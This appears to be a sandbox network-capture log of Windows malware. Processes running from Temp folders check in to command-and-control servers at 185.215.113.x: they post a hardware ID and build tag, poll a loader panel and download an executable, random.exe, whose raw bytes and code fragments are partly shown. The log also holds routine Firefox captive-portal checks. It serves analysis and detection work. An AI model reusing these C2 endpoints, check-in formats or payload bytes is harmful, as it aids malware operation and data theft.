Nov 17, 2024 22:22:03.702024937 CET	424	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuO
Nov 17, 2024 22:22:03.702054977 CET	1236	IN	Data Raw: 00 e8 20 4c 00 00 6a 04 e8 45 e2 01 00 c7 04 24 7c c9 49 00 83 20 00 89 06 ff 15 20 c7 49 00 89 46 04 8b c6 5e c3 6a 10 8d 41 04 5a 83 20 00 8d 40 08 83 ea 01 75 f5 8b c1 c3 53 56 8b 35 98 c6 49 00 33 db 57 8b f9 6a 05 58 53 89 07 89 47 04 66 c7 Data Ascii: LjE$\|I IF^jAZ @uSV5I3WjXSGfG____j[GSjG)ShG&ShG'SjG(SjG$G%_^[UQW3EWPWh }IEjWWh %MI_U=Mt_E%\M%PM
Nov 17, 2024 22:22:03.702064037 CET	1236	IN	Data Raw: f8 85 ff 0f 84 c3 00 00 00 8d 4a ff 89 0d 28 15 4d 00 8b 4f 04 8b 31 66 83 7e 08 00 75 d3 8b 36 83 fe 20 74 05 83 fe 2b 75 c7 83 fe 2b 0f 94 c3 33 c0 83 fe 2b 0f 94 c0 8d 04 85 04 00 00 00 8b 0c 08 66 83 79 08 34 0f 85 1b 07 04 00 8b 09 83 ec 10 Data Ascii: J(MO1f~u6 t+u+3+fy4AEAEARUE{lMG3+DfxGuBAEESPEPEPWDMnwU%lMc3_^[jiXlU<SVMM
Nov 17, 2024 22:22:03.702069044 CET	424	IN	Data Raw: 41 04 6a 7f 59 66 39 48 08 0f 85 c7 04 04 00 8b 45 f4 48 4f 83 bd 54 ff ff ff 00 89 45 f4 0f 84 9e 02 04 00 80 bd 5d ff ff ff 00 8b 45 bc 0f 85 96 02 04 00 8b 18 8d 8d 54 ff ff ff e8 70 02 00 00 8b 85 58 ff ff ff 89 45 bc 8b 45 f4 85 c0 0f 88 92 Data Ascii: AjYf9HEHOTE]ETpXEE;1uuuuSRu3SxMxl`MTM_^[rU]
Nov 17, 2024 22:22:03.702079058 CET	1236	IN	Data Raw: 45 c8 0f 85 8f 00 00 00 8b 18 8d 8d 78 ff ff ff e8 f4 00 00 00 8b 85 7c ff ff ff 89 45 c8 8b 45 f0 85 c0 78 08 3b fb 0f 84 b9 fb ff ff 56 68 93 00 00 00 e9 36 03 04 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 e6 02 04 00 8b 55 f8 4a 4f 83 bd 60 ff ff Data Ascii: Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;_Vjx]@i]@I2#@"*D#&@3&@0%@v&@'@B&@&@$@;$@UE;#M~#M
Nov 17, 2024 22:22:03.702173948 CET	212	IN	Data Raw: ff 35 58 13 4d 00 ff d6 68 a4 00 00 00 ff 35 58 13 4d 00 a3 e0 13 4d 00 ff d6 68 a2 00 00 00 ff 35 58 13 4d 00 a3 e8 13 4d 00 ff d6 33 f6 a3 ec 13 4d 00 56 6a 10 6a 10 6a 01 6a 63 ff 35 58 13 4d 00 ff 15 a0 c5 49 00 8b 0d 58 13 4d 00 8b d0 a1 e0 Data Ascii: 5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfTM5MQv_^[VW5,I3W5XMWWjdh,
Nov 17, 2024 22:22:03.706697941 CET	1236	IN	Data Raw: 00 50 50 68 00 00 cf 00 b8 c8 c9 49 00 50 50 57 ff d6 57 ff 35 58 13 4d 00 a3 8c 13 4d 00 6a 01 50 57 57 57 57 68 c4 08 b0 50 57 68 a0 c9 49 00 57 ff d6 8b 35 28 c7 49 00 57 ff 35 8c 13 4d 00 a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e Data Ascii: PPhIPPWW5XMMjPWWWWhPWhIW5(IW5MMW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	61077	185.215.113.206	80	6244	C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:04.703809977 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 22:22:05.612453938 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:22:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 22:22:05.656841040 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 4a 45 48 44 42 47 49 44 48 4a 4b 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 36 33 30 37 42 37 36 34 38 43 31 37 33 30 36 37 37 36 35 32 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 4a 45 48 44 42 47 49 44 48 4a 4b 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 4a 45 48 44 42 47 49 44 48 4a 4b 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------CAKKKJEHDBGIDHJKJDBFContent-Disposition: form-data; name="hwid"486307B7648C1730677652------CAKKKJEHDBGIDHJKJDBFContent-Disposition: form-data; name="build"mars------CAKKKJEHDBGIDHJKJDBF--
Nov 17, 2024 22:22:05.937597036 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:22:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	61083	185.215.113.43	80	6564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:09.719018936 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 39 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006995001&unit=246122658369
Nov 17, 2024 22:22:11.623800993 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 21:22:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	61085	185.215.113.16	80	6564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:11.743983984 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 17, 2024 22:22:12.646697998 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 21:22:12 GMT Content-Type: application/octet-stream Content-Length: 2764288 Last-Modified: Sun, 17 Nov 2024 21:02:24 GMT Connection: keep-alive ETag: "673a59e0-2a2e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2a 00 00 04 00 00 d0 30 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ 0`Ui` @ @.rsrc`2@.idata 8@xwjardvp)):@dtfdxtnz *@.taggant@"*@
Nov 17, 2024 22:22:12.646708965 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:22:12.646718025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:22:12.646841049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:22:12.646852016 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:22:12.647386074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:22:12.647398949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:22:12.647411108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:22:12.647422075 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:22:12.647432089 CET	1236	IN	Data Raw: 2a 60 4b ec 80 e2 65 27 91 77 5b ec 43 b4 6a dc 36 e8 87 62 0d da 97 0f 55 77 e7 c3 f5 bd 72 1c 61 53 8a 92 40 8e b8 ce 2f e9 37 2e 68 88 73 cb 25 74 4f 6f 8a c9 7a f9 f8 be d0 52 62 20 1a ff 82 bc cd ba e5 55 e8 73 f2 dd 86 24 fc 3e a9 92 93 8e Data Ascii: *`Ke'w[Cj6bUwraS@/7.hs%tOozRb Us$>Ey-R:Y})i7qlx:8D=z2^$+'eJT^+Lf@Z#~hE=2i}&E
Nov 17, 2024 22:22:12.652096987 CET	1236	IN	Data Raw: 57 ac cc 09 82 d1 8b 33 80 51 d0 1e 7e ed ce cc 59 a9 6b c2 a1 9a a9 c5 76 2a c4 e9 46 a7 55 cb 36 3a 69 c0 59 a3 7a cf 19 e9 a3 e9 b7 ae 5c c8 6f ad a1 19 3b 9a 92 ca 56 cc 55 c2 47 1f 67 2c 54 26 8e 2a 45 94 82 de 09 6c 64 1b 57 e3 dd 48 a6 03 Data Ascii: W3Q~YkvFU6:iYz\o;VUGg,T&EldWHCA)n9;r"xyF{ZcB;X}9r<~okK}*{"$kzSA<<lXSaA:o\(ygZ\ldC(B6}8;E>_uwWR?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	61088	185.215.113.43	80	6564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:18.251337051 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 39 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006996001&unit=246122658369
Nov 17, 2024 22:22:19.143146992 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 21:22:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	61090	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:20.481235027 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 22:22:21.389313936 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:22:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 22:22:21.393635035 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 36 33 30 37 42 37 36 34 38 43 31 37 33 30 36 37 37 36 35 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 2d 2d 0d 0a Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="hwid"486307B7648C1730677652------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="build"mars------DHIDHIEGIIIECAKEBFBA--
Nov 17, 2024 22:22:21.676206112 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:22:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	61091	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:20.854410887 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 17, 2024 22:22:21.752762079 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 21:22:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	61100	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:25.263647079 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 17, 2024 22:22:25.866400957 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 56679 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	61109	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:25.884974003 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 17, 2024 22:22:26.491292000 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 25886 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	61112	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:25.956708908 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 17, 2024 22:22:26.576802015 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 56680 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 17, 2024 22:22:26.590559006 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 17, 2024 22:22:26.716404915 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 56680 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 17, 2024 22:22:26.904762983 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 17, 2024 22:22:27.031177044 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 56680 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 17, 2024 22:22:27.225629091 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 17, 2024 22:22:27.351525068 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 56681 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 17, 2024 22:22:27.668025017 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 17, 2024 22:22:27.795062065 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 56681 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 17, 2024 22:22:27.999629021 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 17, 2024 22:22:28.126219988 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 56682 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 17, 2024 22:22:28.734816074 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 17, 2024 22:22:28.861152887 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 56682 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
